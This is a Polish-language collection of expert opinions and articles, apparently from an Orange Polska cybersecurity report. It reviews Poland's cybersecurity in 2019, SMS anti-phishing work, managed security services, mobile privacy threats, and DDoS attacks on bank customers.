Brał udział w tworzeniu ustawy o Krajowym Systemie 
Cyberbezpieczeństwa.

Na początku 2019 roku na stronie internetowej naszej 
Fundacji pozwoliłem sobie na publikację przewrotnego 
tekstu „Przełomowy rok w polskim cyberbezpieczeństwie”. 
Przewrotnego, gdyż mimo tego, że był to początek roku 
2019, opisywał on co się „wydarzyło” właśnie w tymże roku. 
Był próbą proroctwa, a tak naprawdę życzeniem i marzeniem 
dotyczącym tego, co mogłoby się wydarzyć, abyśmy 
zdecydowanie powędrowali w kierunku znacznej poprawy 
cyberbezpieczeństwa w Polsce. Co z tego wyszło? Trudno 
to ocenić jednoznacznie. Przewidywania były z kategorii 
takich, które łatwo zweryfikować, ale i bardziej niejednoznac-
znych, których ocena nie jest łatwa. Spróbuję jednak wskazać 
kilka ewidentnych przypadków, które były sukcesem, 
lub chcielibyśmy o nich szybko zapomnieć.

Co było pozytywne?

Projekt promocyjno-uświadamiający CYBER.MIL.PL

Najbardziej udane przedsięwzięcie promocyjne w obszarze 
cyberbezpieczeństwa w historii polskiej administracji 
państwowej. Przedstawiciele projektu są praktycznie na 
każdym branżowym wydarzeniu i non stop w mediach 
społecznościowych. Umiejętnie włączają w działania 
praktyczne elementy edukacyjne, jak na przykład 
organizowany przez Narodowe Centrum Bezpieczeństwa 
Cyberprzestrzeni konkurs CTF (Capture The Flag). Pozostaje 
mieć nadzieję, że w ramach tego projektu będziemy mogli 
słyszeć o praktycznych sukcesach związanych z budową 
wojsk cyberprzestrzeni, bo w praktyce CYBER.MIL.PL 
jest częścią projektu tworzenia wojsk cyberprzestrzeni.

Wzrost jakości funkcjonowania polskich zespołów CSIRT

Od lat przyzwyczajeni jesteśmy do dobrych notowań 
najbardziej doświadczonych polskich zespołów 
reagujących, takich jak CERT Polska czy CERT Orange 
Polska, który jest pierwszym polskim zespołem 
certyfikowanym. W 2019 r. przez proces certyfikacji 
przeszły kolejne trzy polskie zespoły. Stajemy się 
europejskim liderem jeśli chodzi o dojrzałość zespołów 
CSIRT. Najprawdopodobniej już w tym roku Polska będzie 
miała najwięcej certyfikowanych zespołów w Europie. 

Operacyjna konsolidacja współpracy w ramach 
ćwiczeń Locked Shields 2019.

To ćwiczenia, których wyniki wielokrotnie przynosiły nam 
powód do dumy. Edycja 2019 wprowadziła jeszcze jedną, 
dużą jakość - połączyła w reprezentacji polskiej wysiłki 
wielu osób z wielu organizacji. Trudno o lepsze 
przećwiczenie współpracy, w której konieczne byłoby 
wykorzystanie tak dużych sił. Nawet jeśli wynik ćwiczeń 
nie był wymarzony (6. miejsce), to doświadczenia 
wspólnego działania stanowią wyjątkową wartość, 
a w przyszłości może być znacznie lepiej.

Co było negatywne?

Brak systemu bezpieczeństwa informacji

Nadal poruszamy się jak dziecko we mgle w obszarze bezpie-
czeństwa informacji, rozumianej jako walka z dezinformacją. 
To postępujący rak dla sprawy bezpieczeństwa Państwa 
i łatanie tego doraźnymi działaniami w ramach krajowe 
systemu cyberbezpieczeństwa do niczego dobrego nie 
prowadzi. Potrzebujemy jasnego i efektywnego systemu 
organizacji bezpieczeństwa w tym obszarze. Chociażby 
takiego jak opisuje to Ustawa o Krajowym Systemie 
Cyberbezpieczeństwa w obszarze cyberbezpieczeństwa.

Brak sektorowych zespołów cyberbezpieczeństwa

Chyba najbardziej negatywny element realizacji zapisów o KSC. 
Co prawda tzw. „sektorowe CSIRT-y” nie są w ustawie wy-
mienione jako obowiązkowe, to dla wielu sektorów są wręcz 
konieczne. Organy właściwie, z małymi wyjątkami w sektorze 
energetycznym i finansowym, praktycznie nie dotykają tego 
tematu. Jeśli w najsłabszych sektorach chcemy coś realnie 
zmienić, to wsparcie podmiotów w tych sektorach jest konie-
czne. Tworzenie sektorowych CSIRT-ów i ISAC-ów może 
wnieść absolutnie nową jakość w operacyjne działania.

Brak budżetu

Punkt nie wymaga większego komentarza. Nadal ne mamy 
realnego budżetu na cyberbezpieczeństwo. Łatanie sytuacji 
dziwnymi mechanizmami budżetowo-grantowymi nie jest 
żadnym rozwiązaniem. Trzeba to punktować do bólu.

Co obserwować w 2020 r.?

Obserwować warto wszystko co powyżej, a w szczególności 
oczywiście te aspekty, które są do poprawy. Jednak szczególną 
uwagę należy skierować na postępy prac związanych z two-
rzeniem systemu teleinformatycznego, który zgodnie z ustawą 
o krajowym systemie cyberbezpieczeństwa, najpóźniej 
1 stycznia 2021 r. powinien zostać dostarczony przez Minister-
stwo Cyfryzacji. W założeniach ma on być swoistym krwio-
obiegiem dla procesu współpracy podmiotów wchodzących 
w skład Ustawy Krajowego Systemu Cyberbezpieczeństwa.

Kolejnym elementem, który trzeba bacznie obserwować. 
to zmiany związane z szykowaną nowelizacją ustawy. 
Pierwsze doświadczenia z funkcjonowania ustawy, 

Mirosław 
Maj

Gabriel 
Gatner
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obecny (luty 2020 r.) brak pełnomocnika rządu ds. cyber-
bezpieczeństwa, niejasności związane z podległością 
NASK, absolutnie kluczowego podmiotu w Krajowego 
Systemu Cyberbezpieczeństwa (MC czy MNiSW?),
obiektywne potrzeby związane z ochroną najważniejszej 
infrastruktury (np: w kontekście technologii 5G) 
– to wszystko może mieć istotny wpływ na to jak dalej 
potoczą się sprawy. Jest kilka istotnych ryzyk z tym 
związanych, dlatego odpowiedzialność decydentów 
jest szczególnie duża.

(Opinia jest fragmentem artykułu zamieszczonego 
na stronie Fundacji Bezpieczna 
Cyberprzestrzeń – cybsecurity.org)

Zarządza projektem SerwerSMS.pl od wczesnego etapu 
start-upu, aż po dojrzały biznes skutecznie wspierający 
komunikację mobilną największych firm i organizacji. 
W ramach Grupy R22 S.A. oraz Vercom S.A. kieruje 
bezpośrednią współpracą z Operatorami GSM. Realizuje 
innowacyjny projekt RCS w Polsce w ramach Platformy 
SerwerSMS.pl, która została oficjalnym partnerem 
Google Jibe. Od samego początku swojej ścieżki zawo-
dowej związany z nowymi technologiami, marketingiem, 
telekomunikacją oraz branżą e-commerce.

Ze względu na uniwersalność wiadomości SMS, biznesowe 
potrzeby jej wykorzystania rosną w ostatnim czasie bardzo 
szybko. To najbezpieczniejszy i najskuteczniejszy sposób 
komunikacji A2P.  Dla zachowania bezpieczeństwa kluczowa 
jest inwestycja w odpowiednie rozwiązania oraz w partnera 
realizującego skuteczną politykę bezpieczeństwa. Konieczne 
w tym zakresie jest oparcie usług o bezpośrednie połączenia 
do Operatorów GSM. Z naszych doświadczeń i obserwacji 
wynika, że zauważalna część ataków phishingowych nie 
jest tylko wynikiem wycieku danych, ale również powodem 
powierzenia ich partnerom, którzy nie zapewniają odpo-
wiedniego poziomu bezpieczeństwa. Taka optymalizacja 
wynika głównie z ekonomicznych pobudek i może skutkować 
atakami. Istnienie phishingu jest również wynikiem poziomu 
podatności na manipulację i socjotechnikę, dlatego ważna 
jest edukacja i rola mediów. Trzeba pamiętać, że edukacja 
społeczeństwa to miecz obosieczny, ponieważ potencjalni 
przestępcy również korzystają z tych informacji, co odczuwamy 
w ostatnim czasie bardzo mocno w postaci zwiększonej ilości 
prób. Edukacja tak, ale w mądry sposób. Jesteśmy dalecy 
od Victim blamingu (obwinianie ofiary), dlatego 
wypracowaliśmy system, który rozpoznaje potencjalny 
atak i możemy pochwalić się niemal 100% skutecznością. 

Myślę, że kolejnym krokiem w celu zwiększenia globalnego 
bezpieczeństwa jest ścisła integracja z rozwiązaniami 
zewnętrznymi, aby próby realizowane we wcześniej 
wspomnianych rozwiązaniach były również powstrzymywane. 
Do takiej współpracy zaprosiliśmy już kilka firm, również z 
rynku międzynarodowego gdzie wzajemnie wspieramy się 
w działaniach antyphishingowych. Częścią tych działań jest 
również ścisła współpraca z jednostką CERT Orange Polska, 
która w naszej ocenie doskonale wpisuje się w plan poprawy 
bezpieczeństwa.

Absolwent wydziału informatyki na Uniwersytecie 
Śląskim, autor kodu jednego z największych rozwiązań 
do masowej komunikacji SerwerSMS.pl. W ramach 
projektu zarządza zespołem programistów wdrażających 
rozwiązania do mobilnej komunikacji. Szczególną uwagę 
poświęca bezpieczeństwu swoich rozwiązań, a od kilku 
lat ww. spółce Vercom S.A., realizuje również wdrożenia 
dla największych projektów oferujących swoje usługi 
w modelu SaaS.     

Walka z wszechobecnym phishingiem w komunikacji 
SMS trwa już jakiś czas. Sposoby oszustw stale ewoluują, 
są coraz bardziej skuteczne. Media nagłaśniają temat 
najczęściej w kontekście zrealizowanego ataku. Będąc 
na „pierwszej linii” mamy do czynienia z próbami ataków 
jeszcze przed tym, zanim dotrą one do odbiorców i potrafimy 
je skutecznie zablokować w ramach własnego rozwiązania. 
Komunikacja SMS powinna być bezpieczna i budzić zaufanie, 
więc naszym celem jest szybkie i sprawne wykrycie 
fraudu oraz jego blokada. Docelowo, jeśli to jest możliwe 
zgłaszamy to do odpowiednich organów. Chcąc skutecznie 
zabezpieczać narażone na fraud osoby, niezbędna jest ścisła 
współpraca wielu osób, firm i instytucji. W ramach systemu 
analizującego potencjalne oszustwa praktycznie cały czas 
dostosowujemy i aktualizujemy metody ich wykrywania. 
Rozpoznanie potencjalnego zagrożenia jest bardzo trudne, 
dlatego niezbędne było stworzenie odpowiednich 
algorytmów, procedur organizacyjnych oraz stałe szkolenia 
współpracowników. To przekłada się na bardzo dużą 
świadomość wewnątrz naszej organizacji oraz wysoką 
skuteczność działania. Obecnie wykrywamy i unieszkodliwiamy 
nawet kilka tysięcy unikalnych prób miesięcznie, co oznacza 
dziesiątki tysięcy zablokowanych niebezpiecznych 
wiadomości. Naszym celem jest sprawienie, aby działania 
cyberprzestępców przestały być skuteczne. Wiemy, że 
jeszcze długa droga przed nami i naszymi partnerami. 
Mamy jednak nadzieję, że kolejne firmy i instytucje dołączą 
do naszej inicjatywy i razem stworzymy skuteczniejsze 
mechanizmy chroniące użytkowników.

Tomasz 
Szmaciński

Usługi bezpieczeństwa Orange Polska
Usługi profesjonalne z zakresu 
cyberbezpieczeństwa

Coraz więcej doniesień medialnych o niszczycielskich 
atakach, kolejnych wymaganiach bezpieczeństwa 
czy karach za ich naruszenie powoduje wyraźny wzrost 
zainteresowania rozwiązaniami i usługami z dziedziny 
cyberbezpieczeństwa. Coraz więcej organizacji inwe-
stuje w specjalistyczne produkty bezpieczeństwa, firmy 
zmotywowane przepisami pilnie wdrażają systemy za-
rządzania bezpieczeństwem informacji, kolejne przed-
siębiorstwa ogłaszają plany budowy własnych centrów 
operacji bezpieczeństwa (SOC). I niedługo później… 
dokładnie te same podmioty zaczynają rozpaczliwie 
szukać pomocy na rynku widząc, że realizacja ich pla-
nów jest zagrożona. Źródło problemów jest w dużej 
mierze wspólne – niedostatek specjalistów potrafiących 
dobrze wykonywać swoje obowiązki. Przyjrzyjmy 
się temu bliżej…

Rozwiązania z zakresu cyberbezpieczeństwa wyma-
gają wykwalifikowanej kadry. Mimo że powszechnie 
zachwalane są możliwości automatycznego blokowania 
zagrożeń, w rzeczywistości niezbędna jest ich bieżąca 
fachowa obsługa. Źródła – na których te rozwiązania 
bazują - potrafią przestać poprawnie logować, mogą 
się pojawiać potrzeby dodawania wyjątków, rozwiązania 
mogą automatycznie blokować za dużo lub za mało, 
trzeba czasem je zaktualizować oraz… co jakiś czas 
trzeba przeprowadzić śledztwo w sprawie incydentów, 
których niestety nie udało się zablokować. 

Nie chodzi tu bynajmniej o błędy w samym rozwiązaniu. 
To użytkownicy potrafią znaleźć bardzo ciekawe sposoby 
ominięcia zabezpieczeń, a zbyt często spotykane 

niedociągnięcia w zakresie bieżącej obsługi 
IT – jak np. brak poprawek bezpieczeństwa, dodatkowo 
to ułatwiają. Zakup „kolejnego pudełka” do serwerowni 
jest prosty i szybki, jego poprawna obsługa niejedno-
krotnie przekracza możliwości (przynajmniej czasowe) 
niewyspecjalizowanych zespołów IT. W Orange Polska 
podchodzimy inaczej do tego zagadnienia. Staramy się 
przekonać klientów, by wraz z najlepszymi rozwiązaniami, 
które są w naszej ofercie, skorzystali również z pakie-
tów usług utrzymania, monitorowania i reagowania na 
incydenty. Nawet najlepsza technologia przy braku 
bieżącego utrzymania, zdegraduje po jakimś czasie 
swoje funkcje bezpieczeństwa i przestanie spełniać 
swoją rolę. Jeżeli Twoja firma decyduje właśnie 
o zakupie rozwiązań w zakresie cyberbezpieczeństwa, 
warto aby wcześniej potwierdziła, kto zajmie się takimi 
zagadnieniami jak:

• wskazanie miejsca platformy w ramach posiadanej 
architektury cyberbezpieczeństwa;

• przygotowanie platform sprzętowych;
• instalacja i konfiguracja rozwiązania;
• przygotowanie dokumentacji technicznej;
• konfiguracja polityk bezpieczeństwa;
• utrzymywanie platformy, reagowanie na błędy 

i awarie; bieżące utrzymywanie i doskonalenie polityk 
bezpieczeństwa;

• monitorowanie zgłoszeń o incydentach  
identyfikowanych przez platformę;

• reagowanie na incydenty bezpieczeństwa,  
w tym eliminacja false-positive.

Podobnie wygląda sytuacja organizacji, które chcą 
wdrożyć systemy zarządzania bezpieczeństwem 
informacji. Często dochodzą do ściany zanim jeszcze 
projekt wystartuje. Jak bowiem potwierdzić kompeten-
cje osób, które będą wdrażać i utrzymywać system 

Rozwiązania z zakresu 
cyberbezpieczeństwa 
wymagają wykwalifikowanej 
kadry. Mimo że powszechnie 
zachwalane są możliwości 
automatycznego blokowania 
zagrożeń, w rzeczywistości 
niezbędna jest ich bieżąca 
fachowa obsługa. 

W Orange Polska 
podchodzimy inaczej 
do tego zagadnienia. 
Staramy się przekonać 
klientów, by wraz 
z najlepszymi rozwiązaniami, 
które są w naszej ofercie, 
skorzystali również 
z pakietów usług utrzymania, 
monitorowania i reagowania 
na incydenty. 

Daniel 
Zawiliński
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zarządzania? Jak wybrać dobre rozwiązania nie stosując 
„100% ceny” jako jedynego kryterium? Kto fizycznie 
będzie wykonywał typowe codzienne obowiązki i zarządzał 
szeregiem inicjatyw składających się na system zarządzania 
bezpieczeństwem informacji? Każda firma, która zacznie 
w sposób uporządkowany podchodzić do zagadnień 
związanych z ochroną informacji zobaczy, że jednym 
z głównych wyzwań będzie zidentyfikowanie, 
kto jako CISO (Chief Information Security Officer) 
będzie zajmować się takimi zagadnieniami jak np.:

• identyfikowanie ryzyk;
• proponowanie zabezpieczeń;
• generowanie wymagań bezpieczeństwa;
• nadzór nad oraz realizacja testów bezpieczeństwa 

(podatności, penetracyjnych, socjotechnicznych,  
organizacyjnych…);

• akceptowanie wyjątków bezpieczeństwa;
• realizacja oraz  testowanie skuteczności programów 

budowania świadomości pracowników;
• tworzenie oraz nadzór nad realizacją zadań  

przewidzianych w harmonogramach czynności.

Wydaje się, że panaceum na te problemy niekiedy staje się 
magiczne hasło „zbudujemy sobie SOC”. Jednak, gdy firmy 
zorientują się ile unikalnych specjalizacji jest potrzebnych, 
by monitorować i reagować na incydenty bezpieczeństwa 
oraz jak drogie są rozwiązania dla takich centrów i ilu 
programistów muszą zatrudniać, by zbudować sobie 
własne bazując na rozwiązaniach open-source – to pomysł 
przestaje być tak atrakcyjny finansowo. Szczególnie, 
gdy osoby zarządzające uświadomią sobie, że Security 
Operations Center z założenia monitoruje i reaguje na 
incydenty, ale nie zajmuje się innymi zadaniami 
wchodzącymi w zakres roli CISO.

Niedostatek wyszkolonych specjalistów, kosztowne 
wdrażanie i utrzymanie narzędzi bezpieczeństwa 
oraz często spotykana monotonia zajęć (przecież 

nie na wszystkie firmy jest codziennie przeprowadzany 
zaawansowany atak, który podnosi ciśnienie i wyzwala 
endorfiny) powodują, że bardzo trudno jest zbudować 
i utrzymać wieloosobowy zespół, który na co dzień 
zajmuje się ochroną informacji. Tym samym coraz większą 
popularność zdobywają rozmaite profesjonalne usługi 
w zakresie cyberbezpieczeństwa. Mogą one dotyczyć 
wdrażania i utrzymywania narzędzi bezpieczeństwa, 
monitorowania i reagowania na incydenty w ramach 
usług SOC czy wręcz kompleksowego CISO-as-a-Service. 
Opisane doświadczenia skłoniły nas (Orange Polska 
oraz Integration Solutions) do przygotowania 
kompleksowego pakietu usług, które dziś już nie 
ograniczają się do platformowych zabezpieczeń 
sieciowych i świadczenia usługi SOC. Podczas rozmów 
z klientami zauważyliśmy, że małe oraz średniej wielkości 
firmy, chcą się skupić na swojej głównej działalności 
biznesowej, przy jednoczesnym właściwym zabezpieczeniu 
danych firmowych oraz klientów. Mimo dobrych chęci 
często nie mogą sobie pozwolić na budowanie zespołów 
bezpieczeństwa i zatrudnianie ekspertów na pełen etat, 
gdyż byłoby to niekorzystne finansowo. Właśnie dla 
nich stworzyliśmy pakiet usług doradczych, który 
wspiera klientów w identyfikacji luk bezpieczeństwa 
(technologicznych i organizacyjnych), bieżącym zarządzaniu 
bezpieczeństwem, jak i spójnym rozwijaniu architektury 
bezpieczeństwa firmy. Tym samym, przejmujemy 
zobowiązanie zapewnienia bezpieczeństwa wewnętrznego 
firmy, jej danych i zasobów teleinformatycznych. Orange 
Polska i Integrated Solutions są już nie tylko dostawcą 
usług i integratorem, ale partnerem bezpieczeństwa 
naszych Klientów.

Jakub Syta

Po więcej informacji skontaktuj się ze swoim doradcą 
Orange i Integrated Solutions lub napisz na adres 
cybsecurity@orange.com

Stworzyliśmy pakiet usług doradczych, który 
wspiera klientów w identyfikacji luk bezpieczeń-
stwa (technologicznych i organizacyjnych), 
bieżącym zarządzaniu bezpieczeństwem, jak 
i spójnym rozwijaniu architektury bezpieczeństwa 
firmy. Tym samym, przejmujemy zobowiązanie 
zapewnienia bezpieczeństwa wewnętrznego 
firmy, jej danych i zasobów teleinformatycznych. 
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Czy zaklejasz właściwą 
kamerę?

Przez ostatnie trzy lata zagłębiając się w treść publiko-
wanych Raportów CERT Orange Polska obserwuję 
szaleńczy wzrost zagrożeń kierowanych na urządzenia 
mobilne. Ciężko mi też znaleźć agendę organizowanych 
konferencji branżowych bez poruszanego problemu. 
Rozmawiając z ekspertami do spraw cyberbezpieczeń-
stwa otrzymuję mnóstwo informacji jak bardzo łakomym 
kąskiem są dla przestępców nasze urządzenia 
mobilne – smartfony. 

Czyli problem jest – tylko dlaczego? 

Od razu w głowie rysują mi się scenariusze dotyczące 
przechwytywania informacji bankowych w celu 
zaplanowania ataku na moje skromne konto. Czy ma 
to dla przestępców jakiś sens? Zapewne na dużą skalę 
i u konkretnych klientów banku tak, ale czy to jedyny 
powód? Idąc dalej myślę, że samo urządzenie – jego 
parametry wydajnościowe: procesor, nie byle jaka ilość 
pamięci operacyjnej, szerokie pasmo dostępu do inter-
netu dają możliwość budowania pokaźnych zasobów 
botnetowych oraz umożliwiają podaż dla świata mocy 
obliczeniowej „na żądanie” czy pisząc wprost do kopania 
kryptowalut. Czytając i analizując zagrożenia ukierunko-
wane na nasze telefony komórkowe jestem od dawna 
przekonany, że wszystko co znajduje się na moim tele-
fonie mija się z pojęciem prywatności. Szybko rodzi się 
pojęcie inwigilacji jako szerokiego zespołu czynności 
stosowanych przez różne grupy osób jak rządy, przestę-
pcy, terroryści. Stawiam sobie kolejne pytanie, jakie 
informacje przetwarzałem w ciągu ostatnich 24 godzin 
na swoim telefonie, kiedy pisałem e-mail, rozmawiałem 
na WhatsApp, realizowałem przelew, czatowałem 
z lekarzem, realizowałem receptę, robiłem zakupy 
lub edytowałem prywatne zdjęcia moich dzieci. 
Czy czuję się komfortowo jeżeli pomyślę, że dostęp 
do tych informacji mają inne osoby, których nie znam? 

Prywatność jest prawem podstawowym. Jak napi-
sano w artykule 12 Powszechnej Deklaracji Praw 
Człowieka „Nie wolno ingerować samowolnie 
w czyjekolwiek życie prywatne, rodzinne, domowe, 
ani w jego korespondencję, ani też uwłaczać jego 
honorowi lub dobremu imieniu. Każdy człowiek 
ma prawo do ochrony prawnej przeciwko takiej 
ingerencji lub uwłaczaniu.” Organizacja ONZ stoi 
również na straży formuły zapewnienia prywatności 
(ONZ, „Prawo do prywatności w erze cyfrowej”). 
Od kiedy w 2013 r. Edward Snowden ujawnił 
metody przechwytywania informacji na szeroką 
skalę przez USA i inne mocarstwa zachodnie, 
nie mamy chyba żadnych wątpliwości co do tego, 
że inwigilacja jest faktem. Być może zaakceptowali-
śmy to bez większej troski przekonaniem, że nie mamy 
nic do ukrycia. Pojawiają się także głosy, że prawo 
do prywatności „znaczy już tak wiele, że nie znaczy 
nic” (Por. K. Motyka, Prawo do prywatności i dylematy 

współczesnej ochrony praw człowieka, Lublin 2006). 
Korzystając zawodowo i przede wszystkim prywatnie 
z internetu doświadczam, że coraz częściej portale, 
aplikacje wymagają ode mnie więcej danych, aby móc 
z nich korzystać. Przykładem mogą być dane, które 
są wymagane podczas tworzenia konta na różnych 
portalach. Użytkownicy nieustannie wyrażają zgodę 
na podawanie określonych danych bez dokładnego 
przeczytania i zastanowienia się po co? Gdy naruszana 
jest prywatność, inne prawa człowieka tracą na wartości. 
Codziennie, wiele artykułów na świecie opisuje masowe 
wycieki wrażliwych danych, w tym autoryzacyjnych. 
To pokazuje, że nasze informacje nie są do końca 
bezpieczne. Zawsze możemy korzystać z takich 
serwisów jak https://haveibeenpwned.com, aby 
sprawdzić czy nasze dane nie zostały przejęte 
przez przestępców. 

A co z bezpieczeństwem urządzeń 
mobilnych? 

Cały czas mówimy o zabezpieczaniu sieci, aplikacji, 
ochronie danych osobowych, ale każdy koncentruje się 
na swoich serwerach i skromnym notebooku. Czy oby 
zaklejamy właściwą kamerę chcąc czuć się bezpieczniej? 
Najczęstsze zagrożenia kierowane na użytkowników sieci 
mobilnej to złośliwe oprogramowanie i phishing. Złośliwe 
oprogramowanie, to np. wirusy, oprogramowanie szpie-
gujące, trojany lub różnego rodzaju robaki. Oznacza to, 
że inne osoby mogą kopiować moje dane, kraść hasła 
lub nagrywać z kamery mojego aparatu. Z kolei phishing, 
który poprzez e-mail trafia do mojego telefonu jest narzę-
dziem wykorzystanym przez przestępców do kradzieży 
cudzej tożsamości i próby użycia tej formy na mnie. 
Propozycja zazwyczaj polega na nakłonieniu ofiary do 
podania przestępcom danych autoryzacyjnych lub 
zachęcenia jej do instalacji pliku, który okazuje się 
złośliwym oprogramowaniem. Oba te zagrożenia są 
obecnie wykorzystywane do celów przestępczych m.in. 
do szpiegowania lub dyskredytowania niektórych grup 
społecznych i znanych osób. Problem to głównie nasza 
niefrasobliwość i brak zrozumienia, jak funkcjonuje 
technologia. Przykładem może być standard szyfrowania 
danych, z którego jednak większość użytkowników 
telefonii komórkowej z dostępnym systemem operacyj-
nym nie może skorzystać. Tego typu telefony w swojej 
podstawowej konfiguracji dostarczonej przez producenta 
nie posiadają mechanizmów szyfrowania korespondencji 
w rozmowach audio i z wykorzystaniem krótkich wiado-
mości tekstowych czy multimedialnych (SMS, MMS). 
Tym samym użytkownicy nie mają do końca świado-
mości czy ich wirtualna codzienność jest bezpieczna. 

Jak zrobić krok dalej? Jak ustrzec użytkowników przed 
możliwymi infekcjami złośliwym oprogramowaniem 
czy atakami z wykorzystaniem socjotechniki. Producenci, 
właśnie po to wprowadzili mechanizmy auto uaktualnień. 
Często zapominamy o bezpieczeństwie naszych danych, 
zwłaszcza w urządzeniach mobilnych. 

Większość rozmów przeprowadzonych z naszymi klien-
tami wskazuje na rozwiązania MDM. Przede wszystkim 

dla potrzeb zdalnego zarządzania telefonem, szybkiego 
kasowania jego zawartości (wymazania), identyfikacji 
jego położenia, ale rzadziej w kierunku analizowania 
czy telefon jest już zainfekowany, czy zarządza nim 
przestępca (złośliwe oprogramowania) czy właśnie 
kliknąłem w link i jestem na fałszywej stronie mojego 
banku. Na kamerze w telefonie nie mamy naklejki, 
ani mechanizmów rozpoznających czy treść danego 
SMS lub MMS jest dla nas potencjalnie niebezpieczna. 
Wierzymy, że świat jest doskonały albo myślimy, 
że problem nas nie dotyczy. W aplikacjach telefonu 
używamy haseł, PINów, ale ich nie publikujemy. 
Często wyrażamy zgodę na instalacje dodatkowych 
rozwiązań w naszym telefonie. Mam tu na myśli te 
klasy – MDM, DLP, aplikacje monitorujące pracowni-
ków pod względem przetwarzania danych służbowych, 
ich lokalizacji, dostępne na rynku. 

Oferowane rozwiązania mogą wpaść w ręce 
przestępców. Jak możemy to monitorować? 
Czy oprogramowaniem? Czy jest ono skuteczne? 
Czy mam odpowiednią wiedzę, aby je ocenić?

Funkcjonalność, która może mi w tym pomóc jest 
w sieci operatora telekomunikacyjnego. Zespoły CERT 
i SOC Orange Polska mają odpowiednią wiedzę 
i doświadczenie, mechanizmy i technologię niedostępną 
dla użytkowników telefonów komórkowych, są w stanie 
skutecznie identyfikować, blokować i notyfikować 
zagrożenia. Te działania nie koncentrują się na mnie jako 
problematycznym użytkowniku, który „kliknął” a na 
zadaniach zespołów ds. cyberbezpieczeństwa. Czyż 
zagrożenia, które docierają do urządzeń mobilnych 
i stacjonarnych nie robią tego właśnie przez sieć? 
Firmom, bez specjalnego przygotowania trudno jest 
spełnić te wymagania. Potrzebują usługi CyberWatch, 

która identyfikuje, blokuje i udostępnia raporty 
o próbach połączeń z zagrożeniami (m.in. malware, 
ransomware, phishing) z telefonów komórkowych 
i adresów IP działających w sieci Orange Polska. 
Blokuje ona kontakt naszego telefonu z zagrożeniem. 
Usługa oparta jest o wiedzę, doświadczenie i codzienną 
pracę zespołu cyberbezpieczeństwa Orange Polska. 
CyberWatch skutecznie blokuje zagrożenie, 
kompleksowo chroni mnie w sieci zabezpieczając 
przed kradzieżą moich danych. Bateria ani pamięć 
mojego telefonu nie są dodatkowo obciążone. 
Czy to nie funkcjonalność, której właśnie szukamy? 
Jeszcze jedna korzyść wynikająca z tej usługi – jest 
dla nas wszystkich dostępna, ponieważ jest tańsza 
niż karta SIM. Sprawdźcie to proszę, test nic 
nie kosztuje, a naprawdę warto! 

Rafał Wiszniewski

Po więcej informacji skontaktuj się ze swoim doradcą 
Orange i Integrated Solutions lub napisz na adres 
cybsecurity@orange.comCzytając i analizując 
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z pojęciem prywatności. 
Szybko rodzi się pojęcie 
inwigilacji jako szerokiego 
zespołu czynności 
stosowanych przez różne 
grupy osób jak rządy, 
przestępcy, terroryści.
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Ataki DDoS na klientów 
komercyjnych 

Skuteczny atak DDoS potrafi zachwiać ciągłością 
działania firmy. Zmasowane połączenia w kierunku 
konkretnej adresacji IP powodują wysycenie łącza lub 
zasobów urządzeń sieciowych powodując niedostępność 
usług sieciowych. I to zarówno w kierunku wchodzącym 
do zaatakowanej firmy, jak i blokowane są połączenia 
wychodzące. W przypadku tych pierwszych, w zależności 
od zaatakowanych zasobów klienci nie mogą połączyć 
się ze stroną firmową, dokonać operacji bankowych, 
nie dociera poczta elektroniczna. Do tych firm, które 
korzystają z wirtualnych central telefonicznych nie można 
się dodzwonić. Firma, która padła ofiarą ataku nie tylko 
ponosi konkretne straty finansowe z tytułu niezrealizowa-
nych operacji sprzedaży, ale traci również reputację, 
ponieważ brak dostępności strony, sklepu internetowego 
czy możliwości dokonania operacji bankowych to temat 
bardzo nośny, szybko podchwytywany przez media. 
Dodatkowo zablokowana jest komunikacja wychodząca 
z firmy, więc pracownicy nie mogą wysyłać maili 
i korzystać z internetu, co powoduje kolejne straty.

Jednak o skutecznych atakach DDoS na polskie firmy 
w ostatnim czasie jakoś cicho. Czy to oznacza, że już 
nie występują? Czy atakujący zmienili taktykę i dziś 
wykorzystują inne metody ataków odstawiając DDoS 
na boczny tor? Niekoniecznie. 

Security Operations Center (SOC) Orange Polska 
w ramach usług „DDoS Protection Premium” oraz 
„Orange Internet Protection” dba o bezpieczeństwo 

przeszło 400 polskich firm z różnych branż. 
Początkowo zainteresowane były nimi tylko instytucje 
bankowe. W tamtym czasie tylko one padały ofiarami 
ataków DDoS i były w kręgu zainteresowania atakujących. 
Dziś przy bardzo szerokiej dostępności mechanizmów 
ataków i niskiej ich cenie, celem są podmioty z różnych 
sektorów. SOC Orange Polska skutecznie chronił już 
przed atakami nie tylko klientów, którzy otrzymywali 
żądania zapłaty okupu w zamian za odstąpienie od 
ataków. Dotyczyło to także klientów, którzy mieli zostać 
wyeliminowani z rynku przez konkurencję. W niektórych 
przypadkach chodziło o doprowadzenie do obniżenia 
wartości firmy wskutek utraty dostępności usług 
internetowych i reputacji. 

Analiza ataków DDoS u wybranych 
klientów
Do celów przeprowadzenia analizy wybraliśmy 
44 największych klientów obsługiwanych przez 
SOC Orange Polska w ramach usługi „DDoS Protection 
Premium”. Jest to usługa z najwyższym zestawem 
funkcjonalności i mechanizmów ochrony przed atakami, 
przy której SOC każdorazowo informuje klienta 
o wykrytych anomaliach i wspólnie z klientem 
podejmowana jest decyzja o uruchomieniu mitygacji 
(włączenie mechanizmów przeciwdziałania atakom) lub nie.

W pierwszej analizowanej grupie jest 16 instytucji 
finansowych oznaczonych jako „Bank 1-16”. W 2019 roku 
tylko w przypadku jednej z nich nie odnotowaliśmy 
alertów świadczących o ataku DDoS. Dla 5 instytucji 
liczba alertów przekroczyła 50 w ciągu roku – wykres 
„Banki – liczba alertów”.

Banki – liczba alertów
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Dla 4 z nich wartość wolumenu niepożądanego ruchu była 
na tyle wysoka, że zdecydowano o uruchomieniu mitygacji 
ataku – wykres „Banki – liczba mitygacji”. Co ciekawe, 
liczba alertów wcale nie współgrała z ilością  złośliwego 
ruchu – największy był kierowany na banki o średniej 
rocznej liczbie alertów w granicach 15-53 rocznie.

W 2019 roku ofiarą ataków DDoS padła jedna czwarta 
chronionych przez SOC Orange Polska banków. 
Przy braku skutecznej obrony usługi bankowości 
elektronicznej tych instytucji byłyby niedostępne 
dla klientów, zaś informacja o tym na pewno trafiłaby 
na pierwsze strony gazet i portali. Byłby to również 
chwytliwy temat w social media. 

Odrębnym zakresem analizy objęliśmy banki spół-
dzielcze – z zaawansowanej usługi „DDoS Protection 
Premium” korzysta ich obecnie 11. Dla połowy z nich 
występowały anomalie świadczące o próbach 
wysycenia łącza, natomiast były one na tyle 
niegroźne, że nie zdecydowano się na uruchomienie 
mechanizmów powstrzymywania ataków. 

